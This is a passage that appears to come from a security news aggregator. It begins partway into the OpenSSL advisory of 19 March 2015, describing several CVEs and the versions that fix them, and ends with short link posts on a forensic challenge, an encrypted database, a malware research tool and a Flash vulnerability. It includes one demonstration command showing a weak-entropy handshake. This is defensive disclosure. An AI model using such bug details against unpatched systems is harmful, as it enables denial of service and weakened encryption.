OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was discovered by Sean Burford (Google) and Emilia Käsper
(OpenSSL development team) in March 2015 and the fix was developed by
Emilia Käsper.

Empty CKE with client auth and DHE (CVE-2015-1787)
==================================================

Severity: Moderate

If client auth is used then a server can seg fault in the event of a DHE
ciphersuite being selected and a zero length ClientKeyExchange message being
sent by the client. This could be exploited in a DoS attack.

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 users should upgrade to 1.0.2a.

This issue was discovered and the fix was developed by Matt Caswell of the
OpenSSL development team.

Handshake with unseeded PRNG (CVE-2015-0285)
============================================

Severity: Low

Under certain conditions an OpenSSL 1.0.2 client can complete a handshake with
an unseeded PRNG. The conditions are:
- The client is on a platform where the PRNG has not been seeded automatically,
and the user has not seeded manually
- A protocol specific client method version has been used (i.e. not
SSL_client_methodv23)
- A ciphersuite is used that does not require additional random data from the
PRNG beyond the initial ClientHello client random (e.g. PSK-RC4-SHA).

If the handshake succeeds then the client random that has been used will have
been generated from a PRNG with insufficient entropy and therefore the output
may be predictable.

For example using the following command with an unseeded openssl will succeed on
an unpatched platform:

openssl s_client -psk 1a2b3c4d -tls1_2 -cipher PSK-RC4-SHA

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 users should upgrade to 1.0.2a.

This issue was discovered and the fix was developed by Matt Caswell of the
OpenSSL development team.

Use After Free following d2i_ECPrivatekey error (CVE-2015-0209)
===============================================================

Severity: Low

A malformed EC private key file consumed via the d2i_ECPrivateKey function could
cause a use after free condition. This, in turn, could cause a double
free in several private key parsing functions (such as d2i_PrivateKey
or EVP_PKCS82PKEY) and could lead to a DoS attack or memory corruption
for applications that receive EC private keys from untrusted
sources. This scenario is considered rare.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0 and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was discovered by the BoringSSL project and fixed in their commit
517073cd4b. The OpenSSL fix was developed by Matt Caswell of the OpenSSL
development team.

X509_to_X509_REQ NULL pointer deref (CVE-2015-0288)
===================================================

Severity: Low

The function X509_to_X509_REQ will crash with a NULL pointer dereference if
the certificate key is invalid. This function is rarely used in practice.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0
and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was discovered by Brian Carpenter and a fix developed by Stephen
Henson of the OpenSSL development team.

Note
====

As per our previous announcements and our Release Strategy
(https://www.openssl.org/about/releasestrat.html), support for OpenSSL versions
1.0.0 and 0.9.8 will cease on 31st December 2015. No security updates for these
releases will be provided after that date. Users of these releases are advised
to upgrade.

References
==========

URL for this Security Advisory:
https://www.openssl.org/news/secadv_20150319.txt

Note: the online version of the advisory may be updated with additional
details over time.

For details of OpenSSL severity classifications please see:
https://www.openssl.org/about/secpolicy.html

Forensic Challenge 14 – “Weird Python“

March 19, 2015, 8:58 am

≫ Next: Hello World, ZeroDB Here

≪ Previous: OpenSSL Security Advisory [19 Mar 2015] & Appears only 5 CVE's affect LibreSSL: CVE-2015-0207 CVE-2015-0286 CVE-2015-0287 CVE-2015-0289 CVE-2015-0209.

$

0

0

Background
Your boss John went to a BYOD conference lately. Yeah, he's that kind of security guy... After some mumble about targeted attacks happening during the event, your team finally got their hands on a PCAP with his traffic. Your colleague Pete Galloway investigated the incident. Yesterday, he casually mentioned that he found some weird Python bytecode, but couldn't make much sense out of "random" payloads yet. Today, Pete didn't come to work. Five minutes ago, he sent a company-wide mail with a total of four words: “Fuck you, I quit.“. What has happened!?

more here.......https://honeynet.org/node/1220

Hello World, ZeroDB Here

March 19, 2015, 9:37 am

≫ Next: Eat Your Malware With a Side of Macaroni – Free Research Tool from iSIGHT Partners

≪ Previous: Forensic Challenge 14 – “Weird Python“

$

0

0

We're building an end-to-end encrypted database that lets you run queries without exposing the decrypted data to the server.

We decided to build ZeroDB because (1) as developers we've struggled with how to best secure data and protect customer information and (2) we want to help eliminate some of the high profile security breaches that have been making headlines.

more here........http://blog.zerodb.io/hello-world-zerodb-here/

Eat Your Malware With a Side of Macaroni – Free Research Tool from iSIGHT Partners

March 19, 2015, 11:15 am

≫ Next: THE OLD IS NEW, AGAIN. CVE-2011-2461 IS BACK!

≪ Previous: Hello World, ZeroDB Here

$

0

0

Free browser extension developed by iSIGHT Partners that brings yara signatures directly into the Virus Total Intelligence user interface…


At iSIGHT Partners, we do a lot of malware research as part of our cyber threat intelligence practice…like, A LOT of it. In the natural course of this work we’re always looking for ways to improve the process and speed things up. We look for support from our friends around the community, look at open source solutions where we both use them and fork them, and also develop solutions in house.

We are always happy to contribute back to the community and are doing so now with the release of Macaroni…

- See more at: http://www.isightpartners.com/2015/03/eat-your-malware-with-a-side-of-macaroni-free-research-tool-from-isight-partners/#sthash.a3ILOoKL.dpuf

THE OLD IS NEW, AGAIN. CVE-2011-2461 IS BACK!

March 19, 2015, 12:06 pm

≫ Next: Google Analytics by Yoast stored XSS

≪ Previous: Eat Your Malware With a Side of Macaroni – Free Research Tool from iSIGHT Partners

$

0

0

As part of an ongoing investigation on Adobe Flash SOP bypass techniques, we identified a vulnerability affecting old releases of the Adobe Flex SDK compiler. Further investigation traced the issue back to a known vulnerability (CVE-2011-2461), already patched by Adobe in apsb11-25.

more here...........http://blog.nibblesec.org/2015_03_01_archive.html